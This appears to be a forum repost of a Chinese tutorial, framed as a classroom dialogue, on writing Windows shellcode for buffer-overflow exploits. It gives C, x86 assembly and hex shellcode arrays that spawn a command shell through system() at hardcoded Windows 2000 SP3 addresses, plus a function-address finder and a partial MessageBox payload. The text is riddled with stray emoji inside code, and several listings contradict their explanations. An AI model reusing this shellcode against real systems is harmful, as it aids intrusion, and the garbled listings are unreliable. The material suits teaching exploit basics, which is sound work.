Windows下ShellCode编写初步 |
“上课了,上课了!”同学们一边兴高采烈的讨论着一边步入教室。新的一周又开始了。
“嗯,大家经过这两次课的学习,有什么感觉啊?”老师等同学们坐好后问。 “噢,这几次课我们对溢出编写的基本思路有了清晰的了解;掌握了利用缓冲区溢出的两种方式;同时还对大量的实际漏洞进行了成功的编写。”古风认真的说道。 👍🌦🍟🆗🐶 “嗯,让我们的兴趣和技术都得到了很大的提升。”玉波说。 “同时,我们也认识到了真正的黑客精神是钻研和共享!”宇强佩服的说道。“好!”老师赞扬道,“大家有了这些认识就很好!只要有了兴趣和钻研的精神,就可自主的不断深入下去;同时,有了共享的精神,就会得到别人的尊敬,并且一同讨论、一起进步。” “嗯!”大家认真的点点头。 👑📟😃🤟 “但是,老师。”宇强说道:“虽然我们的溢出水平的确有所提高。但在实际编程中,对ShellCode的编写不是特别明白,对复杂漏洞(比如堆溢出漏洞)也还不清楚,希望能继续的学习。” 老师笑道:“呵呵,别着急,在后面的章节中我们会慢慢深入下去的。大家有这个不断学习的想法就很好!再提醒一次,学习更重要的是方法,而不是技术本身。如果你掌握的只是技术,技术会很快过时,那你就没有机会了;如果掌握的是方法,那你就能很轻松的应对技术的变迁。” 💪⛪🥚📳🐞 大家齐声答道:“嗯,我们一定会注意的!” 老师说道:“那好,首先我们一起来看看ShellCode的编写吧!” ShellCode是什么 👀⛵🌰🈸🦌老师说:“缓冲区溢出漏洞的利用。本质上来讲,就是使计算机跳转到我们的ShellCode中去执行,所以,ShellCode是缓冲区溢出利用的关键之一。但ShellCode本身的编写是大有学问的,可易可难,所以这里单独提出来讲。” 大家小心翼翼的问道:“前面多次提到了ShellCode,这里又说它很有学问。但ShellCode究竟是什么呢?我们都还不知道呢……” “哦,对哈!”老师一拍脑袋:“之前我还没解释过呢!不要紧,现在我们就来一起学习。”“最先的Shell指的是人机交互界面,而这里的ShellCode不仅仅指交互了,而是指可以实现我们想要的功能的代码。ShellCode是一组能完成我们想要的功能的机器代码,通常以十六进制数组的形式存在。比如,第一章中开DOS窗口的ShellCode,这也是通常ShellCode的出现方式。” 🦷🏝🥚♾🦌 “大家看,ShellCode数组里存的是十六进制形式的机器码,其实,本质是对应着可直接执行的汇编程序。”老师说道。 🧓💍🖥😷🖕 “哇!是程序啊?但一点都看不出来,究竟是干什么的程序呢!”有些同学问道。 “呵呵!功能的分析会在后面会讲到。”老师说。 “ShellCode是程序,那岂不是需要别人点击和编译吗?”玉波晃晃脑袋,不解的说。 👀🌡🦞🆎🐠 “这里的ShellCode其实是计算机能直接执行的机器代码,只要计算机的指令指针EIP指向ShellCode里面,就可以顺利执行,不需要再点击和编译了。” 小知识:计算机指令的执行 计算机每次都只是执行当前EIP指向的指令(单CPU)。在当前指令执行后,EIP会自动加1,从而指向下一条指令。如果有JMP CALL RET—类的指令,EIP就会被强行改变成指定的地址,从而完成流程的跳转。🥷👔🔑😒🦴 “再解释清楚一点,我们想尽办法写出ShellCode,是想用ShellCode的数据把内存中原有的数据等动态覆盖掉,之后计算机的指令指针EIP指向ShellCode在内存中的开始位置,就可以执行ShellCode,实现我们想要的功能了。”老师继续说道。 “比如,原来在内存中的数据是这样的,如下图。” 原内存中的数据 🧑🍳💍🧪😷🖕 “但我们把数据动态覆盖成ShellCode后,就成下图的样子了。” 覆盖后的数据🧓👙🩸🥰✊ “这些数据就是那个开DOS窗口的ShellCode代码。当计算机执行到原来的地方时,实际上是在执行我们的ShellCode。这样,计算机在不知不觉的情况下就完成了我们想要的功能,不需要别人再去做什么。“ 👦👔✒💀👃 哦!”同学们恍然大悟。“那有点像在Debug时动态改变寄存器的值一样。”宇强说道。 “对,就是这样!计算机会按照改变后的值继续执行下去,而不管是谁改变了值,是否改变得正确。”老师还赞扬了一句:“看来这位同学的悟性不错嘛!” “嘿嘿!”宇强发现PLMM看了自己一眼,高兴极了! 👄🔥🫑ℹ🦉 “大家继续努力吧!知道了ShellCode的用处,那我们就来看看如何编写出机器码形式的ShellCode。” 简单的例子——编写控制台窗口的ShellCode “学习任何东西,都是由易到难,从简单到复杂,”老师说道。“这是一种学习的方法。” 🤞⛄🥄🈷🐺 “嗯!”台下认真的听着。“我们这里也一样,”老师环顾了一下教室,说道,“我们从一个简单的程序进入编写ShellCode的殿堂吧!” 打开控制台窗口的C程序 🛍📬😪🤞 “ShellCode是完成我们想要的功能的代码,那我们想要的功能最好是能开一个DOS窗口,那样就可做很多事情。比如之前在第一章中例举的这个程序。” [mw_shl_code=c,true]#include<windows.h> int main() { 👍🍟🅿🐖LoadLibrary(“msvcrt.dll”); system(“command.com”); return 0; }[/mw_shl_code] 🧑🍳🥼📥☠🤌 “在这个程序中,首先使用LoadLibrary(“msvcrt.dll”);装载动态链接库msvcrt.dll,然后用system函数执行command.com,就可获得一个DOS窗口,我们能在窗口中执行dir、copy等命令,效果大家也见过了。” “喔!看起来很简单啊!”大家说道。 “嗯,是啊丨但在那个程序中,编译器会帮我们完成很多工作,比如函数地址的转换等。下面这个程序功能完全一样,但更能突出本质!大家看!” 👀🔥🧊♑🪰 [mw_shl_code=applescript,true]#include <windows.h> #include <winbase.h> typedef void (*MYPROC)(LPTSTR); //定义函数指针 int main() 🖕🚂🥚💲🐖{ HINSTANCE LibHandle; MYPROC ProcAdd; LibHandle = LoadLibrary(“msvcrt.dll”); ProcAdd = (MYPROC) GetProcAddress(LibHandle, "system"); //查找system函数地址🥷🥼🖥😳🖐 (ProcAdd) ("command.com"); //其实就是执行system(“command.com”) return 0; }[/mw_shl_code] “哎哟!好复杂啊!头晕……”好多人开始晕‘程’了。🧑🌾🥾🪣😶👂 “呵呵,不要怕,这个程序和原来的那个差不多,但多了一些处理。我们一句一句的解释吧! typedef void (*MYPROC) (LPTSTR) 定义了一个函数指针,其指向函数的参数是字符串,返回值是空。该指针的作用是用于指向system函数,在后面调用它,就相当于调用system函数。 👃🏦🍓❎🐶 LibHandle = LoadLibrary("msvcrt.dll") 加载msvcrt.dll这个动态链接库,动态链接库的句柄赋给LibHandle。 ProcAdd = (MYPROC) GetProcAddress (LibHandle,"system"); 🖕🚂🎂☣🐻 获得动态链接库的句柄后,我们再使用“GetProcAddress(LibHandle,system)”获得system的真实地址。之后再使用这个真实地址来调用system函数。执行该语句后,ProcAdd为指向system函数的指针,即ProcAdd存的是system函数的地址。” (ProcAdd) ("command.com"); 👮♂️👠💶🥰🙌 因为此时的ProcAdd为指向system函数的指针,所以“(ProcAdd)("command.com")”就是调用“system("command.com")”,完成我们想要的功能。” “我们编译执行,仍然会弹出一个DOS窗口来,看下图。 🖕🌦🥣♂🐖 “哦!好像比原来的程序就多了一个找system函数的地址。”宇强仔细观察后说道。 “是啊,干嘛这么麻烦呢!原来的程序不是挺好的吗?”胖胖的玉波又喃喃说道。 老师说:“我们千方百计的找出函数地址来,一定是有用处的。刚才说了这么多,大家也一定想知道system的地址到底是多少吧!” 🤟🏦🥣📶🐂 “嗯,是啊,还真不知道呢!” 查看函数的地址 “好,我们一起来看看system函数的地址吧!在VC下按F10进入调试状态,然后在Debug工具栏中,点最后一个按钮‘Disassemble’和第四个按钮‘Registers’,这样就出现了源程序的汇编代码和寄存器状态窗口,如下图。”👨🎨💎🧯😚🦷 “我们继续按F10,程序就会单步执行,直到‘LibHandle=LoadLibrary("msvcrt.dll")’那句下的‘call dword ptr [_imp__LoadLibraryA@4 (0042413c)]’执行完后,我们就可在寄存器窗口中发现EAX变为了780000,说明在我Win2000SP3的机器上,msvcrt.dll的地址为0x780000。如下图。”老师说道。 👴🦺🖨😄👀 “等等,为什么这里的EAX的780000就为msvcrt.dll的地址呢?”古风说道。 “呵呵,我当然没那么天才,能自己想出来。”老师说,“那句‘call dword ptr [__imp__LoadLibraryA@4(0042413c)]’就是执行‘LoadLibrary("msvcrt.dll")’,返回值就是msvcrt.dll的地址;而函数的返回值,通常都是放在EAX中,这算是计算机系统的约定吧!所以,‘LoadLibrary("msvcrt.dll")’的返回值(msvcrt.dll的地址)就存在EAX中,即780000。” 👈🛑🍽🆒🐉 “哦,这样啊!那system的地址是多少呢?” “一样的道理,我们继续按F10执行下去,直到‘ProcAdd = (MYPROC) GetProcAddress (LibHandle,"system")’语句下的‘call dword ptr[__img__GetProcAddress@8 (00424194)]’指令执行后,可以发现得到EAX为7801AFC3,即在我Win2000 SP3系统的机器上,system()函数的地址是0x7801AFC3,如x下图。 ✊🏝🍼♀🦬 “哦,真的是啊!”“不是‘蒸’的,难道还是煮的吗?{:4_107:}接下来,执行‘(ProcAdd)("command.com")’,就弹出了一个DOS对话框,整个程序就结束了。”老师说道。 “哦,明白了。但还是不太清楚为什么需要知道system函数的地址?”古风问道。 “嗯!这涉及到Windows下函数调用的方式。”👵🦺🎷😍💅 Windows下的函数调用原理 老师说:“在Windows系统中,函数调用方式和Linux系统下函数的调用方式是不同的。” 小知识:👨🦱💍📱🥱🦷 在Linux下,函数的执行是使用系统中断调用。执行一个函数,是把参数赋给寄存器,然后调用中断int 80来执行。比如执行execve (name[0],name,NULL),系统把0xb拷贝到寄存器EAX中(0xb是系统调用execve的代码号);将name[0]的地址拷贝到寄存器EBX中;将name的地址拷贝到寄存器ECX中;将NULL拷贝到寄存器EDX中;然后执行中断指令int $0x80,就完成了execve函数的执行。Linux执行其他函数也类似,系统把函数的系统调用码给EAX(如execve是0xb),函数带的参数给其他寄存器,最后执行int $0x80中断指令,就完成函数的执行。 “在Windows下,函数的调用需要先把函数所在的动态链接库Load进去,这点大家都清楚。而在执行的时候用堆栈传递参数,然后直接CALL该函数的地址就完成了,而不是像Linux使用系统中断。” 老师解释道:“比如,在Windows下执行函数Func (argv1,argv2,argv3),先把参数从右至左压入堆栈,这里就是依次把argv3、argv2、argv1压入堆栈里,然后Call Func函数的地址,这里的Call Func函数地址,其实等于两步,一是保存当前EIP,二是跳到Func函数的地址执行,即Push EIP+Jmp Func。其过程如下图。” 👂🪐🥚🈴🐤 “大家这点明白了吗?”老师画完图后问道。 “Yes!但看看实际的例子更容易理解。”大家说。🧑🌾🩲🖨😥👌 “当然可以啦!我们来验证一下,还是调试刚才那个程序。执行ProcAdd=(MYPROC) GetProcAddress(LibHandle,"system");这句时,其过程应该是先压入system字符串地址,再压入LibHandle,最后call GetProcAddress函数的地址。大家看,在汇编代码中,过程是一样的:” [mw_shl_code=c,true]push offset string “system” 第二个参数system字符串的地址入栈 push [ebp-4] 第一个参数LibHandle入栈 call [__imp__GetProcAddress] Call GetProcAddress函数的地址[/mw_shl_code] 👍🎠🥭📵🦮 “哦!真的和分析一模一样啊!”玉波撇撇嘴说道。 “呵呵,是的。这次由你们自己来分析执行(ProcAdd) ("command.com");的过程吧!”老师说。 🏠🥭‼🐮 “好哩!(ProcAdd) (〃command.com〃)首先是参数入栈,这里只有一个参数,所以就把command.com的地址压入堆栈;然后call ProcAdd函数的地址,这里ProcAdd函数的地址保存在[ebp-8]中,所以call [ebp-8]就OK了。”大家说道。 “非常好!”老师很满意,“真是名师出高徒啊!” “这下清楚我们为什么要知道system函数的地址了吧?”👦🪖🧻😋👄 “莫非在执行函数时直接CALL我们知道的函数地址?”宇强想了想,问道。 “对!我们知道了函数的地址,也知道了函数执行的原理,那我们就可自己写出调用函数过程的汇编代码,甚至是机器代码一ShellCode!”老师说道。 汇编和机器码——真正ShellCode的生成 👂🌡🥣®🐒 “现在知道了我机器上system函数的地址是0x7801AFC3,也知道了函数的执行原理。那我们就来直接写出system(“command.exe”)的汇编代码!” “哇!”台下大惊,特别是几个女生,“我们还不懂汇编呢!” “没事。”老师蛮有信心的说,“你们只要知道PUSH和CALL就行了,你们知道PUSH和CALL吗?知道,所以就行了。” “……”台下没人敢说话。 👏🌞🦞❎🦟 “不要怕,学习的关键还是思路,只要把握了整个流程,那些细节东西自然就明白了。这也是种学习的方法,有时太拘泥于细节,不能把握好全局,反而不好。‘亮独览大略’,这就是诸葛亮比其他人强的原因。” “哦!”👦👖🧲🤑✊ “怎么样?大家一起来考虑,一起来编写?”老师问了问大家。 “好吧!”听到诸葛亮也这样,大家都很有信心了。 “我们先把system(“command.exe”)的汇编代码写出来。” “根据前面的分析,执行system(“command.exe”)只需先把参数command.exe字符串的地址入栈,再CALL System的地址就行了。” ✊🌡🍏☯🦉 “但command.exe字符串地址是多少呢?我们把什么压入堆栈呢?”古风问。 “是啊,这是个问题啊!”其他人也附和着。 “问得好!我们不知道command.exe字符串的地址,甚至连内存里有没有command.exe字符串都不知道,但我们可自己构造出来。”老师说。🧑🎤🦺🎺🤐👈 “啊?自己构造?在哪里构造?怎样构造啊?”大家不解的问。 “呵呵,就在堆栈里构造!我们把‘command.exe’一个字符一个字符的压入堆栈,这样‘command.exe’字符串就有了,而且ESP正好是command.exe字符串的地址,看图。” 🧠⛄🧊🉑🦉 “有了字符串和字符串的地址ESP,我们把ESP压入堆栈,就是system(“command.exe”)函数的参数一——command.exe字符串的地址,如下图。” 🧑🌾💍🛒😆👈 “哦!”大家恍然大悟。 “最后我们CALL System函数的地址就行了。我的Win2000SP3机器上的system函数地址为0x7801AFC3,所以CALL 0x7801AFC3。” “哇!按照这样的思路,我们可以得到system(“command.exe”)的汇编代码了!”古风高兴的说,埋头就想写汇编了。 🥷👒🗑🤡🤞 “慢着,”老师阻止了古风,“PUSH是四字节对齐的,就是说PUSH—定会压入四个字节,比如PUSH 0x41,其实是压0x00000041进堆栈。刚才讲的一个字节一个字节的压入,其实是不行的。” “啊?计算机岂不是耍我们?” “但我们完全可以利用这个思路,只不过在实现细节上要改动一下。就像你们男生都要让着女生一样,我们也让着点计算机MM哈!” 👨⚕️👔🧪😰👍 “哈哈哈哈……”大家都笑了起来。小强暗叹道:“我还没有GF呢!” “怎么改动呢?” “方法很多,比如,计算机入栈是压四个字节,那我们就每次PUSH四个字节;或者我们就一个字节一个字节地把值赋入堆栈,不用PUSH,而直接用赋值。直接赋值的方法就像这样,大家看:” [mw_shl_code=c,true] 💪🚂🍧®🦄mov esp,ebp ; push ebp ; mov ebp,esp ; 把当前esp赋给ebp xor edi,edi ; push edi ;压入0,esp-4,; 作用是构造字符串的结尾\0字符。👩👜🛏😡👁 sub esp,08h ;加上上面,一共有12个字节,;用来放"command.com"。 mov byte ptr [ebp-0ch],63h ; c mov byte ptr [ebp-0bh],6fh ; o mov byte ptr [ebp-0ah],6dh ; m mov byte ptr [ebp-09h],6Dh ; m 🧑💻🩰🧯🙄👌 mov byte ptr [ebp-08h],61h ; a mov byte ptr [ebp-07h],6eh ; n mov byte ptr [ebp-06h],64h ; d mov byte ptr [ebp-05h],2Eh ; . mov byte ptr [ebp-04h],63h ; c ✍🎢™🦊mov byte ptr [ebp-03h],6fh ; o mov byte ptr [ebp-02h],6dh ; m一个一个生成串"command.com". lea eax,[ebp-0ch] ; push eax ; command.com串地址作为参数入栈 mov eax, 0x7801AFC3 ; ✍🛑🥩🈴🦋call eax ;[/mw_shl_code] “给大家解释一下,‘mo vebp,esp’是把esp赋给ebp作为栈底;而‘push edi’和‘sub esp,08h’是把esp减去12字节,这12个字节空间就用来放‘command.com’;然后‘mov byte ptr [ebp-0ch],63h’那些指令,是我们把command.com—个字节一个字节的放进留出的空间中;这下有command.com字符了吧?我们用‘lea eax,[ebp-0ch]’来获得构造的command.com字符串的地址;最后,‘push eax’把地址压入堆栈,call system函数的地址就完成了。“ “下面来验证一下,在VC中可以用__asm关键字插入汇编,我们把system(“command.exe”)用写的汇编替换,LoadLibrary先不动,然后执行,成功!弹出了我们想要的DOS窗口。如下图。”👩✈️💍🛒🤩👄 “哦!果然是一样!”同学们满意的说道。 🖕🛩🆗🦚 “嗯,我们把LoadLibrary(“msvcrt.dll”)也仿照上面改成汇编,要注意的是,LoadLibrary在Win2000SP3上的地址为0x77e69f64,把两段汇编合起来得到cmdASM.cpp。我们把cmdASM.cpp编译、链接、执行。也成功了!如下图。”“哇!想不到汇编也能这么轻松搞定啊!”大家都有点不相信自己的眼睛。 👍🏫🍪⁉🐖 “呵呵,关键在于理解方法,有了方法,学习困难的东西就会变成一件愉快的事。最后我们来生成机器码 ShellCode。” “也不难吗?”还是些同学有点担心。 “嗯,有了刚才的工作,难的只是动笔的体力活了。我们对刚才的全汇编程序在VC中按F10进入调试状态,接着按下Debug工具栏的‘Disassembly’按钮,然后点鼠标右键,在弹出菜单中选中‘CodeBytes’,就会出现汇编对应的机器码了!大家看图!” 👌🌕🍒❎🦄 “第一句‘pushebp’对应的机器码是55,第二句‘mov ebp,esp’对应的机器码是8BEC,因为汇编可以完全完成我们的功能,所以我们把汇编对应的机器码原封不动的抄下来,就可得到想要的ShellCode了。 古风一声叫唤提醒了大家,大家奋笔疾书,边看边抄,不一会就写下了shellcode。👮♂️🩰🪗😍🤟 [mw_shl_code=c,true]unsigned char shellcode[] = "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53" "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6" "\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"👩🩲📱💩👆 "\x64\x9f\xE6\x77" //sp3 loadlibrary地址0x77e69f64 "\x52\x8D\x45\xF4\x50" "\xFF\x55\xF0" "\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E" "\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" 🦷🚤🍧↔🐂"\x50\xB8" "\xc3\xaf\x01\x78" //sp3 system地址0x7801afc3 "\xFF\xD0";[/mw_shl_code] “呵呵!很好,大家都很勤奋。”老师笑道,“你们写下来的就是真正的ShellCode!” 🤝🚤🫖⁉🐡 “Yeah!”大家都兴奋极了!“终于知道如何写出Shellcode了。” “是啊,大家都很不错,又有了很大的进步。但和现实中真正用的ShellCode相比,刚才那个ShellCode无论是在功能上还是在实用上都很苍薄,甚至可以说是简陋。所以我们离真正ShellCode的编写还有很长的路要走,我们还是一步一步的来吧!而现在嘛……”老师环顾了一下大家。 大家都紧张的看着老师。 👩🧥📷😉👃 “大家提取ShellCode都辛苦了,先休息十分钟吧!”{:4_102:} ShellCode通用性的初步分析 老师走后,同学们三三两两地闲聊了起来。👦🥾🪗😄💅 “为什么老师说ShellCode很简陋呢?” “因为…因为不精致啊……” “哈哈哈哈,什么啊,那我也知道。” “我想听听老师回来后会说什么。” 🧑⚕️🩰🪝💩👎 宇强漫不经心的四处看了看,不料一下子看见了那位叫吴小倩的女生。班上的其他女生都坐在一起闲聊,而小倩正在认真的整理笔记,宇强发现她握笔的姿势很美…… “在干什么呢?”玉波走过来对宇强说。 “没什么,活动活动啊……”宇强赶紧说。 “是呀,累啊!大家放学去吃大盘鸡吗?”玉波才来没久,已经吃遍学校周围了,“还有,你觉得那个ShellCode怎样?” 🖕🗼🎂©🦖 “今天我要回家,下次吧!对于那个ShellCode,”宇强认真的回答道,“我主要觉得功能不强。刚才的ShellCode只是开了个本地DOS窗口,但实际中像.printer漏洞等都是远程的,开个本地的DOS窗口根本没有用处。” “说的很对!”一个声音传来。大家定睛一看,原来是老师回来了,“我们一起来探讨一下ShellCode吧!” 🖕⛴🍓🆒🦮 刚才代码的不足 老师说道,“刚才那个ShellCode不足之处之一是功能不实用,那位同学叫什么?” 🤙🗺🍓™🐉 “我叫宇强,老师!”宇强回答道。 “对,宇强同学刚才也说了,实际中的溢出漏洞很多都是远程的,那么ShellCode也需要完成远程的功能。”大家都看了看宇强,小倩也瞄了瞄他。 老师接着说:“而实际的ShellCode—般都是开个端口让人远程登陆,或下载文件执行等。除了这一点,刚才的ShellCode还有第二个缺点一不通用。” 👨⚕️🎩⚒😤🤳 “不通用是什么意思?”古风不解的问道。 “就是我们用了固定的函数地址!”老师解释道,“比如刚才CALL LoadLibrary和system函数,用的是Win2000SP3里固定的0x77e69f64和0x7801afc3地址。如果是其他的SP或者是XP(甚至是Windows2003),那函数的地址就不是刚才的那些值,再使用刚才的值就会出问题。” “会有什么问题呢?”古风继续问道。 “在其他SP系统上,”老师继续说,“0x77e69f64和0x7801afc3可能对应的是其他函数地址,甚至是非法地址,再CALL它们至少不能完成我们想要的功能,甚至会出现报非法操作的错误。”🧒🩲💶🤬👌 “哦!这样啊!那这两点都非要解决才能写出通用和实用的ShellCode罗!” “是啊!但饭要一口一口的吃,事情要一件一件的做。对于Shellcode的功能扩充,我们将在下节课讲到。今天剩下的时间我们先对ShellCode的通用性问题进行初步研究吧!” 💎💿😄👏 通用性的初步探索 “哦!通用性怎么解决呢?”台下有人问道。 “大家先考虑考虑,看看你们能提出什么解决办法不。”老师说。👨🦱🪖🗑🤤🤞 “嗯,如果我们知道所有不同系统的相关函数地址就好了。”玉波说道。 “我们可以把所有的系统都装上,然后一个个的调试刚才的程序。用刚才读地址的办法,把每个系统的地址一个个的读出来。”古风提出了个狠办法。 “对,这个办法不错啊!”大家异口同声。 “嗯,不错。得到了所有地址之后,大家又想想怎样可以让我们的程序在每种系统上都能使用呢?”老师继续问道,“我们班上的女黑客们还是发一下言啊!” 👄🗺🍧❓🐻 几位女生都只是抿嘴笑,不说话。 宇强考虑后说道:“我们找到所有系统的地址后,把所有地址都备份在程序里面,以后要针对哪种系统就改成哪种系统的地址。” “对啊!”大家都赞同的说。👨⚕️🥾⚒😷👈 宇强说:“但这种方法好笨啊!每种系统都要找地址,然后改地址,才能成功的执行。好累啊!”说完又往班上的女生们那面看了看,正好和小倩的眼光对视,赶紧转过头,把眼光避开。 “呵呵!是啊,是有点累!但能想出一种解决方案还是很不错。”老师总结道,“现在我们就用这种办法来写ShellCode吧!我们将在ShellCode高级技巧中完美的解决通用性问题。现在这种方法写出的ShellCode应该如下。” [mw_shl_code=c,true]unsigned char shellcode[] =🧓🕶🧯😉👀 "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53" "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6" "\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA" //\xFF\xFF\xFF\xFF //sp0 loadlibrary地址 //\xFF\xFF\xFF\xFF //sp1 loadlibrary地址🧑🌾👠🗝😃👀 //\xFF\xFF\xFF\xFF //sp2 loadlibrary地址 //\xFF\xFF\xFF\xFF //sp4 loadlibrary地址 "\x64\x9f\xE6\x77" //sp3 loadlibrary地址0x77e69f64 "\x52\x8D\x45\xF4\x50" "\xFF\x55\xF0" 👍🌕🥛🚷🐕"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E" "\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" "\x50\xB8" //\xFF\xFF\xFF\xFF //sp0 system地址 //\xFF\xFF\xFF\xFF //sp1 system地址🧑🌾🪖🖨😔🤙 //\xFF\xFF\xFF\xFF //sp2 system地址 //\xFF\xFF\xFF\xFF //sp4 system地址 "\xc3\xaf\x01\x78" //sp3 system地址0x7801afc3 "\xFF\xD0";[/mw_shl_code] 🥷💍🧯🙂💅 “是啊!到时候选择需要的地址就可以了。” “嗯,这里再给大家一个礼物:就是自动查找函数地址的程序GetAddr.cpp。我们可以使用它在每种系统中找出任意想要的DLL和函数的地址,程序如下 [mw_shl_code=c,true]#include <windows.h> #include <stdio.h>🧑⚕️💎📞😍✌ typedef void (*MYPROC)(LPTSTR); int main() { HINSTANCE LibHandle; MYPROC ProcAdd; 👈🚠🌶✡🐖LibHandle = LoadLibrary("msvcrt"); printf("msvcrt LibHandle = //x%x\n", LibHandle); ProcAdd=(MYPROC)GetProcAddress(LibHandle,"system"); printf("system = //x%x\n", ProcAdd); return 0; 👂🚂🦞🅱🦬}[/mw_shl_code] “执行效果如下图,它自动找出了我机器上system函数的地址——0x7801afc3。” 👈⛪🍇📵🐖 “哇!太棒了!”同学们都很高兴,马上就要找各种系统的地址。 “等一下。”老师招呼道,“大家这里分一下工,作为作业拿回家做吧!玉波同学找Win2000SP0的地址;古风找Win2000SP1的地址;宇强找Win2000SP2的地址……女生们就找XP系统下的地址吧!每种系统都找LoadLibrary和system函数的地址,大家找到之后,把它们记下来,作为技术积累,明白了吗?” 👮♂️🎩🪟🥲🤙 大家都点了点头。 “这里提示一下,LoadLibrary函数属于kernel32.dll,所以我们把那个查找程序里的LibHandle=LoadLibrary("msvcrt");改成LibHandle=LoadLibrary("kernel32"); 把 ProcAdd=(MYPROC)GetProcAddress(LibHandle,"system");改成ProcAdd=(MYPROC)GetProcAddress(LibHandle,"LoadLibrary")。” 👴🦺📬👻👌 “哦,明白了。” “以后要查找其他函数的地址时都像这样,把函数名和所在的dll名替换程序的相应地方就可以了。“好咧! “我们再来看看另一个简单的例子吧,再加深一下大家对ShellCode编写的感觉。” ✌🚘🍖📳🐟 弹出Windows对话框ShellCode的编写 “刚才ShellCode的功能是弹出DoOS窗口控制台,虽然可以让我们做很多事情;但黑乎乎的,有点不爽!”玉波开玩笑说。👨🚒🦺💾💀🖕 “是啊,爱美之心人皆有之,我也这么认为。”老师说。 “呵呵,是啊!”大家都笑了。 “好。那我们来写一个‘漂亮点’的ShellCode吧!弹出一个Windows图形界面的对话框,如何? 👃🛑🥣⚛🦚 “好啊! C程序解释 👦🦺🪦👏 “要弹出一个Windows对话框,user32.dll中的MessageBox函数可以帮助我们完成这个功能。”老师说道。 “简单的说,程序只要一句话,实现如下。” [mw_shl_code=c,true]#include "windows.h"👨🚒👓📟😋🤟 int main(int argc, char* argv[]) { LoadLibrary("user32.dll"); ✌🌦🍒❗🦦 MessageBox(0, "Www.GuHei.Net","提示", 1);return 0; }[/mw_shl_code] 👨🦱👔📷😅💪 “首先,‘LoadLibrary(〃user32.dll")’是加载user32.dll动态链接库,大家都应该清楚吧!” “然后,‘MessageBox(0, "Www.GuHei.Net","提示", 1);’是弹出Windows对话框。我们执行,可以看到对话框的标题是‘提示’,里面的内容是‘ ’。如下图,好看多了吧?” 👨🦱💍🖲🤖🤞 古风核对了一下说道:“哦!那说明MessageBox函数带的第二个参数‘ ’是对话框内容,第三个参数‘提示’是标题内容?” “恩,是的!” “那还有第一个和最后一个参数呢?一个用的是0,另一个用的是1,又代表什么意思呢?”古风继续问道。“呵呵!我们看看官方(微软)给的定义吧!第一个参数的帮助信息如下:” 👞📠😉💅 引用 “意思是,第一个参数表明对话框所属的窗口句柄。如果第一个参数为NULL(即0),那么对话框不属于任何窗口。这里我们用的就是0,弹出不属于任何窗口的对话框。”🧑🌾🦺⌨🥰👆 “而最后一个参数,是表明对话框的类型。0代表MB_0K,即只有一个‘0K’按钮;1代表MB+0KCANCEL,对话框会有‘0K’和‘Cancel’两个按钮。这里我们用的就是1,两个按钮的对话框比较好看吧!” “对话框还有很多类型,比如MB_RETRYCANCEL、MB_YESNO、MB+YESNOCANCEL等,大家可以下去自己看看。”“这里我们接着分析汇编和ShellCode的生成。 👨🎨🎒🧯😷🦴 生成汇编和ShellCode “对比前面的分析。执行system(“command.exe”)时,先把参数command.exe字符串的地址入栈,再callsystem的地址就行了。” 👂🗺🍚❗🦟 “那么,执行MessageBox(0, "Www.GuHei.Net","提示", 1);就是把四个参数从右至左压入堆栈,即先压1,再压‘提示’字符串的地址,然后是‘ ’字符串的地址,最后压0;接着CALL MessageBox函数的地址就OK了。” “1和0多好压啊!只要PUSH0、PUSH1就完成了。”玉波嚷道,“可惜还有两个参数呢!如果参数都是数字就好了。” 👃🏠🍏🚭🐤 宇强想想后,问道,“那‘提示’和‘ ’这两个参数串莫非像构造command.exe字符串那样,先在栈里面构造出来,然后把它们的地址作为参数入栈?” “太对了!”老师表扬道,“第三个参数‘提示’是对话框标题,我们在‘ebp—0Bh’和‘ebp-0A’的地方分别放‘提和示’,而‘ebp-09’放字符串结束标志0x00。那么,‘ebp—0Bh’就是字符串的地址了。示意图如下。” 👂🦼🦀‼🐢 “我们把‘ebp—0Bh'放在ESI中保存起来,等会儿作为参数入栈,代码如下:” //标题"提示"->esi mov byte ptr[ebp-0Bh],77h//w 💅🎢🎂⚛🕊 mov byte ptr[ebp-0Ah],77h//wmov byte ptr[ebp-09h],0h//0x00 lea esi,[ebp-0Bh] 👴👙🗡😳🙏 “然后第二个参数(对话框的内容)‘ ’也是类似。我们把它放在‘ebp-07h’开始的地方,并保存在ESI中,代码如下:” //内容"Www.GuHei.Net"->edi mov byte ptr[ebp-07h],77h//w mov byte ptr[ebp-06h],77h//w🧑💻🦺🔑😥👃 mov byte ptr[ebp-05h],30h//0 mov byte ptr[ebp-04h],38h//8 mov byte ptr[ebp-03h],33h//3 mov byte ptr[ebp-02h],30h//0 mov byte ptr[ebp-01h],0h//0x00 🙏🚤🫖🈚🐉lea edi,[ebp-07h] “参数都构造好了。最后我们合起来执行MessageBox(0,"Www.GuHei.Net","提示",1)吧!” 🤛🧳🍇🉑🐡 “第四个参数是1,我们就直接PUSH 1;倒数第二个参数是标题字符串的地址,我们存在ESI中的,所以PUSH ESI;同样,内容字符串的地址是在EDI中,我们PUSH EDI;第一个参数是0,我们PUSH 0。” “参数都入栈后,我们CALL messagebox函数的地址。在我的机器上,函数的地址是0x77d3add7,我们直接CALL 0x77d3add7就完成执行函数了。 👨🎨👠🛒😷👁 